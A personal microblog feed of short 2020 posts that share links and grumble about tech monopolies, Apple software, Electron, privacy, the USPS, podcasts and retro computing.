We used to joke that most startups' plan to grow to operate at scale was to get acquired by Google. The reality seems that the real endgame is to be acquired by Google then killed off. «https://killedbygoogle.com»¹

[1] https://killedbygoogle.com

╒═════╣▒ 09/10/2020 @17:25 ▒╟──────────┘

��https://brokeassstuart.com/2020/09/07/americans-need-to-take-more-personal-responsibility/»¹

[1] https://brokeassstuart.com/2020/09/07/americans-need-to-take-more-personal-responsibility/

╒═════╣▒ 09/09/2020 @22:59 ▒╟──────────┘

If for some reason you're still reading hackernews, might I suggest instead you use the annotated digest version at «http://n-gate.com»¹ which I think you will find significantly better (if for no other reason than the comments are omitted).

[1] http://n-gate.com

╒═════╣▒ 09/09/2020 @21:29 ▒╟──────────┘

Hm, so I've had «Little Brother»¹ in my Amazon wishlist for years now so instead I decided to get it and the two sequels all at once «on Kickstarter»². 🧐 Bonus points for not sending any of the money to Amazon.

[1] https://craphound.com/littlebrother

[2] https://www.kickstarter.com/projects/doctorow/attack-surface-audiobook-for-the-third-little-brother-book

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╒═════╣▒ 09/09/2020 @20:15 ▒╟──────────┘

The key takeaway for everyone should be the last sentence: «"The next time you pick up your phone, or tablet, or laptop, ask yourself if the experience is ‘enriching’, or just ‘engaging’, and take a moment to consider just putting the device down."»¹

[1] https://www.susa.net/wordpress/2020/08/why-advertising-is-destroying-the-web/

╒═════╣▒ 09/05/2020 @18:55 ▒╟──────────┘

Whoever it was at IMDB that decided to whine about their app in an interstitial should be fired publicly as a warning to others who think this might be a good idea.

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╒═════╣▒ 09/03/2020 @11:39 ▒╟──────────┘

I love how the JavaScript frontend ecosystem continually seems to forget the last 60 years of computer history.

«https://blog.cloudflare.com/rendering-react-on-the-edge-with-flareact-and-cloudflare-workers/»¹

The answer is never *stop building websites with piles of JavaScript*, no the answer is another JavaScript library. Because ad-laden, opinion filled, listicles need access to a Turing complete system on every view. 🙄

[1] https://blog.cloudflare.com/rendering-react-on-the-edge-with-flareact-and-cloudflare-workers/

╒═════╣▒ 09/02/2020 @10:58 ▒╟──────────┘

«https://utcc.utoronto.ca/~cks/space/blog/sysadmin/BlameAndWorksOnMyLaptop»¹

[1] https://utcc.utoronto.ca/~cks/space/blog/sysadmin/BlameAndWorksOnMyLaptop

August

╒═════╣▒ 08/26/2020 @16:41 ▒╟──────────┘

As a follow on to my blog post on «Epic v. Apple»¹ we have a look at the instant motion for a temporary restraining order thanks to our favorite copyright attorney Leonard French «https://www.youtube.com/watch?v=4p9zDPkbqyc»². I would love to see an anti-trust ruling eventually but I really don't see how it gets done and frankly it's still painful to watch a multi-billion dollar company throw a temper tantrum at a multi-trillion dollar company because it's not making enough money. 🙄

[1] https://www.going-flying.com/blog/apple-google-epic-app-store-anti-trust.html

[2] https://www.youtube.com/watch?v=4p9zDPkbqyc

╒═════╣▒ 08/26/2020 @15:03 ▒╟──────────┘

Funny how common sense gets lost as new things get normalized into infrastructure.

«https://yeahiwasintheshit.tumblr.com/post/627524104462991360/sugdenlovesdingle-i-grew-up-in-the-90s-when»¹

[1] https://yeahiwasintheshit.tumblr.com/post/627524104462991360/sugdenlovesdingle-i-grew-up-in-the-90s-when

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╒═════╣▒ 08/26/2020 @14:51 ▒╟──────────┘

This pretty reasonably articulates things that have been low-key rattling through my head for a while now that I have not been able to effectively articulate. Fixing so many of the ills we experience at the hands of capitalism seems so difficult and unattainable without bespoke solutions for each problem. The reality turns out to be that a lot of it is likely fallout from monopolistic, oligarchic, and generally corrupt actors, and as such we actually do have tools to combat them. «https://mostlysignssomeportents.tumblr.com/post/627523017255370752/surveillance-capitalism-is-just-capitalism-plus»¹

[1] https://mostlysignssomeportents.tumblr.com/post/627523017255370752/surveillance-capitalism-is-just-capitalism-plus

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╒═════╣▒ 08/26/2020 @10:02 ▒╟──────────┘

Duncan v. Becerra - California's "Large Capacity Magazine" ban decision (read by Leonard French) «https://www.youtube.com/watch?v=M8v-Eu0nCzM»¹. (Full opinion read «here»²)

[1] https://www.youtube.com/watch?v=M8v-Eu0nCzM

[2] https://www.youtube.com/watch?v=RATAjkdE6lY

╒═════╣▒ 08/26/2020 @09:36 ▒╟──────────┘

“It is a fairly specific workflow that is a challenge for some newer developers to engage with. As an example, my partner submitted a patch to OpenBSD a few weeks ago, and he had to set up an entirely new mail client which didn’t mangle his email message to HTML-ise or do other things to it, so he could even make that one patch. That’s a barrier to entry that’s pretty high for somebody who may want to be a first-time contributor.”

«https://www.theregister.com/2020/08/25/linux_kernel_email/»¹

I'm skeptical of the quality of a developer that cannot install and configure an e-mail client so perhaps the barrier to entry is in fact useful. Operating system development is difficult and nuanced and has very real risks if you do it wrong. The infamous Apple «"goto fail;"»² comes to mind.

[1] https://www.theregister.com/2020/08/25/linux_kernel_email/

[2] https://gotofail.com

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╒═════╣▒ 08/25/2020 @14:11 ▒╟──────────┘

«The date is now Tuesday, March 178th, 2020.»¹

[1] https://www.jwz.org/blog/2020/08/the-date-is-now-tuesday-march-178th-2020/

╒═════╣▒ 08/25/2020 @13:12 ▒╟──────────┘

«https://www.mcsweeneys.net/articles/arkham-board-of-health-feedback-on-miskatonic-universitys-draft-plan-for-a-safe-campus-reopening»¹

[1] https://www.mcsweeneys.net/articles/arkham-board-of-health-feedback-on-miskatonic-universitys-draft-plan-for-a-safe-campus-reopening

╒═════╣▒ 08/25/2020 @13:11 ▒╟──────────┘

«https://blog.lukaszolejnik.com/web-browsing-histories-are-private-personal-data-now-what/»¹

[1] https://blog.lukaszolejnik.com/web-browsing-histories-are-private-personal-data-now-what/

╒═════╣▒ 08/24/2020 @13:11 ▒╟──────────┘

My MacBook Pro has thrown the 'Service Battery' alert recently so I pulled the bottom off to check the battery part number to order a replacement. When I bought the MacBook Pro I checked to verify it wasn't subject to the inflating/exploding battery recall and Apple's website said I was either not effected or the battery was already replaced. Sure looks like that was the case, eh? Welp, good thing I have a replacement on the way.

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╒═════╣▒ 08/23/2020 @19:48 ▒╟──────────┘

Ok, so... I laughed out loud several times in the first few minutes of reading... an opinion... from an Ontario court... over a traffic infraction. They should teach this case in high school to encourage people to learn more about the law. «https://m.youtube.com/watch?v=e7haZ3ekuSg»¹. No kidding, literally laughing. 😂

[1] https://m.youtube.com/watch?v=e7haZ3ekuSg

╒═════╣▒ 08/21/2020 @20:27 ▒╟──────────┘

Quality content. «https://www.tiktok.com/@streetmagiciandude»¹

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╒═════╣▒ 08/21/2020 @20:19 ▒╟──────────┘

Honestly, I think stuff like this happens when any piece of the ecosystem hits the `defacto standard` / `near monopoly` status. Seemingly reasonably and useful pieces of code turn into dangerous misfeatures.

«https://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/»¹

Of course you can also point out that the real root cause of this is the NXDomain hijacking by ISPs that everyone smart said would come back to bite us in the ass in fact biting us on the ass.

[1] https://blog.apnic.net/2020/08/21/chromiums-impact-on-root-dns-traffic/

╒═════╣▒ 08/20/2020 @16:26 ▒╟──────────┘

Today's jam: «https://timecop1983.bandcamp.com/album/night-drive»¹

[1] https://timecop1983.bandcamp.com/album/night-drive

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╒═════╣▒ 08/18/2020 @15:57 ▒╟──────────┘

If my ~10 years of experience at an ISP taught me anything, «this»¹ is *extremely* optimistic.

[1] https://xkcd.com/2347/

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╒═════╣▒ 08/16/2020 @13:51 ▒╟──────────┘

• snort*

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╒═════╣▒ 08/14/2020 @19:29 ▒╟──────────┘

The fact that I have not felt able to write a truly spleen-venting rant about how awful «Electron»¹ is (it is a vile construct) and how you should be ashamed for using it (you should be) is testament to how mind wrenchingly terrible it is to develop software using the native tools. Microsoft and Apple should be truly ashamed of themselves.

[1] https://www.electronjs.org

╒═════╣▒ 08/11/2020 @09:27 ▒╟──────────┘

The WSJ article is behind the paywall but Bruce Schneier has a «synopsis»¹. The tl;dr is basically 'another company caught hiding data collection in their API is selling your data everywhere.' This is why I don't install mobile apps. You have to trust not only the app vendor but every single library they use all the way down to the OS SDK. Good luck with that.

[1] https://www.schneier.com/blog/archives/2020/08/collecting_and_.html

╒═════╣▒ 08/11/2020 @09:14 ▒╟──────────┘

A statement from [Brand]® «pic.twitter.com/XT9tXF9hvz»¹— Chris Franklin (@Campster) «May 31, 2020»²

This behavior is up there with millionaires begging me to donate money to their charities in the continuum of 'tone deaf horse shit'.

[1] https://t.co/XT9tXF9hvz

[2] https://twitter.com/Campster/status/1267183124582215680?ref_src=twsrc%5Etfw

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╒═════╣▒ 08/09/2020 @10:04 ▒╟──────────┘

Hey, I have an idea. Instead of displaying a modal dialog box you open news urls in Safari like normal people? Deleting the app is a pretty strong indicator that I don't want it.

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╒═════╣▒ 08/09/2020 @00:09 ▒╟──────────┘

«https://www.bostonglobe.com/2020/07/27/opinion/republicans-demographic-trap/»¹

[1] https://www.bostonglobe.com/2020/07/27/opinion/republicans-demographic-trap/

╒═════╣▒ 08/08/2020 @18:22 ▒╟──────────┘

Dan Rather throwing shade on Twitter? Yeah, must be 2020 still. «https://wilwheaton.tumblr.com/post/625904233892429824/vbartilucci-sirfrogsworth-dan-rather-a-stoic»¹

[1] https://wilwheaton.tumblr.com/post/625904233892429824/vbartilucci-sirfrogsworth-dan-rather-a-stoic

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╒═════╣▒ 08/06/2020 @17:34 ▒╟──────────┘

I feel like this list is missing something...

«https://www.jwz.org/blog/2020/08/doom-scroll/»¹

[1] https://www.jwz.org/blog/2020/08/doom-scroll/

╒═════╣▒ 08/06/2020 @17:07 ▒╟──────────┘

Well this is a new low in app design. Just deleted the SiriusXM app from my AppleTV because there is no obvious way to stop it from playing. Even quitting back to the home screen doesn't seem to shut it up. Nice.

╒═════╣▒ 08/06/2020 @15:58 ▒╟──────────┘

I can't help but wonder if he ever got his data... I also can't help but wonder if we'll have meaningful privacy legislation in my lifetime. «https://www.wired.com/story/one-mans-obsessive-fight-to-reclaim-his-cambridge-analytica-data/»¹

[1] https://www.wired.com/story/one-mans-obsessive-fight-to-reclaim-his-cambridge-analytica-data/

╒═════╣▒ 08/03/2020 @17:21 ▒╟──────────┘

Man, I forgot how amateur hour Nintendo's networking is. I love that they think it's totally reasonable to forward every single UDP port to your Nintendo device. Because no one plays any games on anything other than their Nintendo Switch that uses UDP... («Nintendo Support Article»¹)

[1] https://www.nintendo.co.uk/Support/Nintendo-Switch/How-to-Set-Up-a-Router-s-Port-Forwarding-for-a-Nintendo-Switch-Console-1498000.html

╒═════╣▒ 08/02/2020 @19:28 ▒╟──────────┘

In today's garbage fire tech-bro fueled own nothing culture, billionaire continues to screw people who actually make things. «via jwz»¹

[1] https://www.jwz.org/blog/2020/08/billionaire-says-musicians-are-broke-because-they-dont-work-hard-enough/

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╒═════╣▒ 08/01/2020 @20:48 ▒╟──────────┘

The US Post Office is a really important part of the machinery of the country and we really should be protecting it instead of putting it through a meat grinder so it seems like a good idea to privatize it. Privatizing parts of the government only leads to taxpayers getting leas for their money, and private industry being funded by taxpayers.

«https://dynamoe.tumblr.com/post/625263393907113984/saveusps»¹

[1] https://dynamoe.tumblr.com/post/625263393907113984/saveusps

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July

╒═════╣▒ 07/28/2020 @14:19 ▒╟──────────┘

Remember the days when web sites provided you with RSS feeds? I miss those days. Those days would have saved me over 2000 lines of Python.

╒═════╣▒ 07/28/2020 @14:08 ▒╟──────────┘

Well shit, now I want a pond in my back yard even more than before... (also, lord these listicle sites are smoking garbage fires of attribution. Google image search returns about a million imgur and giphy links and nothing that looks like an original source...)

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╒═════╣▒ 07/28/2020 @14:02 ▒╟──────────┘

I don't know why I keep going round and round trying to make my iOS devices better at creating things than they are, it never works. I should put a sticker on my phone and tablet that says 'For Consumption Only'.

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╒═════╣▒ 07/26/2020 @16:15 ▒╟──────────┘

So a bit ago «tedu»¹ shared a blog post that caught my eye. It was about «writing a network protocol client using Swift and Network.framework»² and while that in itself was interesting the bit that dragged me down a rabbit hole was this talk of a «Gemini»³ protocol.

[1] https://honk.tedunangst.com/u/tedu

[2] https://shadowfacts.net/2020/gemini-network-framework/

[3] https://gemini.circumlunar.space/

╒═════╣▒ 07/17/2020 @21:33 ▒╟──────────┘

Once again a reminder that consolidation of resources on the Internet is not only asking for failures of all kinds but is in fact antithetical to the design principals of the network. «Cloudflare Outage on July 17 2020»¹

[1] https://blog.cloudflare.com/cloudflare-outage-on-july-17-2020/

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╒═════╣▒ 07/17/2020 @10:25 ▒╟──────────┘

Specifically, twitter seems to have, along its way from being a crappo SXSW chatroom, perfected an algorithm where you go 'I really don't think we should shred nuns' and Twitter will do its absolute friggin' best to find @TheNunShredder⚔️ and make sure he comes crashing in.— Jason Scott (@textfiles) «July 17, 2020»¹

[1] https://twitter.com/textfiles/status/1284002348071899136?ref_src=twsrc%5Etfw

╒═════╣▒ 07/14/2020 @22:01 ▒╟──────────┘

I spent a good amount of time today writing a new scraper for one of my RSS feed generators. Watching log files during that reminded me how much of the Internet is just machines howling at other machines in the interminable darkness.

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╒═════╣▒ 07/10/2020 @21:06 ▒╟──────────┘

Can we all just agree that Silicon Valley turned into a «horror show»¹ a while ago?

[1] https://www.dnalounge.com/backstage/log/2020/07/10.html

╒═════╣▒ 07/08/2020 @22:16 ▒╟──────────┘

Is it just me or is finding anything in any of the Apple storefronts an exercise in futility? I swear, the *smarter* they claim they make this crap the more frustrating it is to actually use.

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╒═════╣▒ 07/03/2020 @09:22 ▒╟──────────┘

«https://www.nytimes.com/2020/07/02/opinion/private-equity-inequality.html»¹

[1] https://www.nytimes.com/2020/07/02/opinion/private-equity-inequality.html

╒═════╣▒ 07/02/2020 @16:56 ▒╟──────────┘

I've been thinking about this a lot recently for obvious reasons and this is a pretty succinct essay that sums up my thoughts. «https://www.schneier.com/blog/archives/2020/07/the_security_va.html»¹ I'd only add the warning that the consolidation of carriers and the general reality of the 'big four' Internet companies has started to erode the resiliency that was inherent in the Internet of the last decade - and we should look at that as bad a trend as what has happened, well, everywhere else.

[1] https://www.schneier.com/blog/archives/2020/07/the_security_va.html

June

╒═════╣▒ 06/30/2020 @09:17 ▒╟──────────┘

One of the things that I think the video in my «previous Thought»¹ shows, perhaps unintentionally is how much time a computer has to dedicate to simply interact with humans. I'll try not to take printf(3) with %d for granted in the future.

[1] https://www.going-flying.com/thoughts/1593486131.html

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╒═════╣▒ 06/29/2020 @23:02 ▒╟──────────┘

If you have not been watching any of «Ben Eater's»¹ videos on computers you are missing out. In his «latest»² he answers the question, binary to decimal -- how hard can that be?

[1] https://www.youtube.com/user/eaterbc/videos

[2] https://www.youtube.com/watch?v=v3-a-zqKfgA

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╒═════╣▒ 06/29/2020 @12:49 ▒╟──────────┘

The 'designers' at YouTube continue to amaze me at how bad they are at their jobs...

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╒═════╣▒ 06/24/2020 @16:09 ▒╟──────────┘

Today's feels...

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╒═════╣▒ 06/23/2020 @20:27 ▒╟──────────┘

«https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/»¹

[1] https://computerhistory.org/blog/discovering-dennis-ritchies-lost-dissertation/

╒═════╣▒ 06/23/2020 @16:06 ▒╟──────────┘

Just pushed a new container, it uses nginx to transform a RTMP stream off of a camera watching my bird feeder into a HLS stream so I can publish it to the web. Yep. That's a thing I just did.

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╒═════╣▒ 06/14/2020 @23:15 ▒╟──────────┘

So in today's iOS is still trash news, 13.5.1 still will not register scroll inputs while it is fading in the highlight during multi-select in a ListView. Makes deleting and filing messages really awesome in Mail.app, nothing like adding a 200ms delay in the tap tap scroll tap tap scroll dance.

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╒═════╣▒ 06/12/2020 @23:59 ▒╟──────────┘

«https://m.youtube.com/watch?v=T9Ckb_Qa8Qw»¹

[1] https://m.youtube.com/watch?v=T9Ckb_Qa8Qw

╒═════╣▒ 06/07/2020 @12:32 ▒╟──────────┘

I love this kind of stuff: «Recovering the Lost Apollo 10 LM Software»¹. If you didn't see the Apollo Guidance Computer restoration series, «you should watch it»².

[1] https://www.youtube.com/watch?v=-JTa1RQxU04

[2] https://www.youtube.com/playlist?list=PL-_93BVApb59FWrLZfdlisi_x7-Ut_-w7

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╒═════╣▒ 06/06/2020 @13:09 ▒╟──────────┘

Finally got around to playing the Tomb Raider reboot, it was enjoyable and it looks pretty great in 2k on a GTX 1080.

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╒═════╣▒ 06/02/2020 @13:53 ▒╟──────────┘

«https://www.jwz.org/blog/2020/06/everyone-at-facebook-is-qwhite-complicit/»¹

[1] https://www.jwz.org/blog/2020/06/everyone-at-facebook-is-qwhite-complicit/

May

╒═════╣▒ 05/29/2020 @15:56 ▒╟──────────┘

I wonder how many different variations on «this script»¹ I have written over the years. I gotta believe at least 20.

[1] https://ssl.ub3rgeek.net/git/?p=misc.git;a=blob;f=sync-audi-mmi-sd

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╒═════╣▒ 05/28/2020 @08:43 ▒╟──────────┘

«https://xkcd.com/2312/»¹ mbmbam is a pretty good unit of measure if you ask me.

[1] https://xkcd.com/2312/

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╒═════╣▒ 05/23/2020 @23:05 ▒╟──────────┘

«https://www.penny-arcade.com/comic/2020/05/22/»¹

[1] https://www.penny-arcade.com/comic/2020/05/22/

╒═════╣▒ 05/20/2020 @21:20 ▒╟──────────┘

So TIL that my hatred of the iPadOS dock means most of the multitasking stuff is useless to me. «https://support.apple.com/en-us/HT207582»¹.

[1] https://support.apple.com/en-us/HT207582

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╒═════╣▒ 05/19/2020 @10:52 ▒╟──────────┘

«https://www.jwz.org/blog/2020/05/pizza-arbitrage/»¹

[1] https://www.jwz.org/blog/2020/05/pizza-arbitrage/

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╒═════╣▒ 05/18/2020 @08:54 ▒╟──────────┘

«http://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.html»¹

[1] http://www.righto.com/2020/05/extracting-rom-constants-from-8087-math.html

╒═════╣▒ 05/15/2020 @17:57 ▒╟──────────┘

Turning on an availability monitor in Azure Application Insights has eliminated the cold start penalty and drastically reduced my HTTP triggered function execution time. I should still be well within the free usage allotment for the Pay-As-You-Go tier as well. Bonus.

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╒═════╣▒ 05/15/2020 @11:55 ▒╟──────────┘

Worth a read. «https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/»¹

[1] https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/

╒═════╣▒ 05/15/2020 @10:10 ▒╟──────────┘

tl;dr: monopolies are stupid and make short sighted decisions.

«https://www.eff.org/deeplinks/2020/04/frontiers-bankruptcy-reveals-cynical-choice-deny-profitable-fiber-millions»¹

[1] https://www.eff.org/deeplinks/2020/04/frontiers-bankruptcy-reveals-cynical-choice-deny-profitable-fiber-millions

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╒═════╣▒ 05/12/2020 @22:25 ▒╟──────────┘

Spent an hour figuring out the hard way that SERVER_PROTOCOL is not available when ProxyPass is processed for some reason (surely Apache knows the HTTP version of the incoming request it is about to proxy) so instead of committing an act of barbarism against my config to work around this with mod_rewrite I yanked my app out of the container and put it back under mod_wsgi. Simpler is often better.

╒═════╣▒ 05/12/2020 @11:38 ▒╟──────────┘

The latest «Last Week Tonight»¹ on the USPS is not only hilarious and informative as usual, but come on, who doesn't want an "«AND NOW...A STAMP»²" stamp.

[1] https://www.youtube.com/watch?v=IoL8g0W9gAQ

[2] https://photostamps.com/products/laststamptonight

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╒═════╣▒ 05/06/2020 @22:54 ▒╟──────────┘

I know that Mercury is an «insane hellscape»¹, but if you squint all sciency like it looks «really pretty»².

[1] https://en.m.wikipedia.org/wiki/Mercury_(planet)

[2] https://www.instagram.com/p/B_3FNMgp-e5/

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╒═════╣▒ 05/06/2020 @21:49 ▒╟──────────┘

Remember when looking at the logs of your own system was as easy as grep *something* /var/log/* and not *log show --last 1h --style syslog --debug --predicate 'senderImagePath == "/System/Library/Extensions/Sandbox.kext/Contents/MacOS/Sandbox"'*. Man those days were *awful* weren't they?

╒═════╣▒ 05/05/2020 @22:36 ▒╟──────────┘

Why yes. I did have tacos today. Thanks for asking.

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╒═════╣▒ 05/02/2020 @17:57 ▒╟──────────┘

Honestly, my browser tabs are often a bit weird but I think I am turning some kind of corner here.

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╒═════╣▒ 05/02/2020 @17:13 ▒╟──────────┘

«https://www.bbc.com/news/av/uk-england-beds-bucks-herts-52504130/captain-tom-cockpit-view-of-raf-flypast-in-marston-moretaine»¹ I have always wanted to fly a Spitfire.

[1] https://www.bbc.com/news/av/uk-england-beds-bucks-herts-52504130/captain-tom-cockpit-view-of-raf-flypast-in-marston-moretaine

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╒═════╣▒ 05/01/2020 @21:56 ▒╟──────────┘

«This is an amazing story.»¹

[1] https://wilwheaton.tumblr.com/post/616951798594453504

April

╒═════╣▒ 04/28/2020 @22:43 ▒╟──────────┘

«This»¹. So much this. If you made a website do these things be ashamed.

[1] https://mobile.twitter.com/chris_randall/status/1251170743238311937

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╒═════╣▒ 04/28/2020 @21:30 ▒╟──────────┘

And sometimes people ask my why I don't like using random libraries off the Internet... «This is why»¹.

[1] https://medium.com/javascript-in-plain-english/is-promise-post-mortem-cab807f18dcc

╒═════╣▒ 04/28/2020 @20:07 ▒╟──────────┘

I think I found a picture of the first piece of hardware that I built and hooked up to the Internet... Can you believe there was a time when people would just expose binaries with write-access to their parallel port to the world?

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╒═════╣▒ 04/27/2020 @15:15 ▒╟──────────┘

No. Autoplay is disabled for a reason. This modal overlay is bad design. Respect your users' choices instead of interrupting them to whine.

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╒═════╣▒ 04/26/2020 @18:50 ▒╟──────────┘

It's probably a decent time to mention that hey, if there are people out there that make things that you think are cool and get enjoyment out of, this would be the time to support them if you can. Personally I've been plowing through «my favorite podcasts»¹ so I sent some money their way.

[1] https://www.going-flying.com/blog/podcasts-2019.html

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╒═════╣▒ 04/25/2020 @21:24 ▒╟──────────┘

I was only marginally into USENET (having not had an Internet connection until the late 1990s but I was very much into Fidonet -- a similar construction created later for the BBS world), but this is still a «fascinating read»¹.

[1] https://www.cs.columbia.edu/~smb/blog/2019-11/2019-11-14.html

╒═════╣▒ 04/25/2020 @19:54 ▒╟──────────┘

There is something beautiful about «this»¹.

[1] https://www.youtube.com/watch?v=b2QPy-igBLA

╒═════╣▒ 04/25/2020 @16:03 ▒╟──────────┘

Front lawn de-thatched, mowed, and fertilized. It almost feels like spring.

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╒═════╣▒ 04/24/2020 @13:11 ▒╟──────────┘

On today's episode of things I didn't realize I would be glad to know how to do... building a bespoke null modem RS-232 cable.

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╒═════╣▒ 04/24/2020 @09:39 ▒╟──────────┘

For more of your stay at home listening pleasure, Matt over at «https://piratehistorypodcast.com»¹ not only kills it every week with historically spiced pirate content but he is now lending his dulcet voice to the delight that is Treasure Island in between episodes.

Pirate History Podcast [1] The Pirate History Podcast

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╒═════╣▒ 04/22/2020 @08:55 ▒╟──────────┘

I think I might be working too hard to get a picture for a blog post...

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╒═════╣▒ 04/21/2020 @19:08 ▒╟──────────┘

I don't know why but «Carl Sagan flying through space»¹ *never* gets old it seems.

[1] https://www.youtube.com/watch?v=zSgiXGELjbc

╒═════╣▒ 04/19/2020 @22:59 ▒╟──────────┘

I love that «this»¹ and «this»² are both only 256 bytes. That means that *half a sector* of a traditional hard drive holding either of these files would be *empty*!

[1] https://www.linusakesson.net/scene/a-mind-is-born/index.php#

[2] https://www.pouet.net/prod.php?which=85227

╒═════╣▒ 04/18/2020 @11:50 ▒╟──────────┘

Music I have been staying at home to: «SomaFM»¹, «Big Sonic Heaven»², and «DNA Pizza's»³ massive collection of music videos with a «request feature»⁴!

[1] https://somafm.com/listen/

[2] https://www.bigsonicheaven.com/

[3] https://www.dnalounge.com/webcast/

[4] https://www.dnalounge.com/musicvideos/

╒═════╣▒ 04/17/2020 @14:51 ▒╟──────────┘

Hey Apple, it would be nice if your security updates would stop clobbering files that I modified. Yes indeed I do want to use automount in 2020.

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╒═════╣▒ 04/11/2020 @22:45 ▒╟──────────┘

«This is 100% my shit.»¹

[1] https://archive.org/details/DNALOUNGE-2019-09-23

╒═════╣▒ 04/11/2020 @09:57 ▒╟──────────┘

I don't hate the crafting aspect of «Animal Crossing New Horizons»¹ as much as I thought I would but seriously, can we please get rid of tool durability?

[1] https://animal-crossing.com/new-horizons/

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╒═════╣▒ 04/11/2020 @09:51 ▒╟──────────┘

Once again, for the second time.

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╒═════╣▒ 04/10/2020 @17:50 ▒╟──────────┘

It verks! It is verking!

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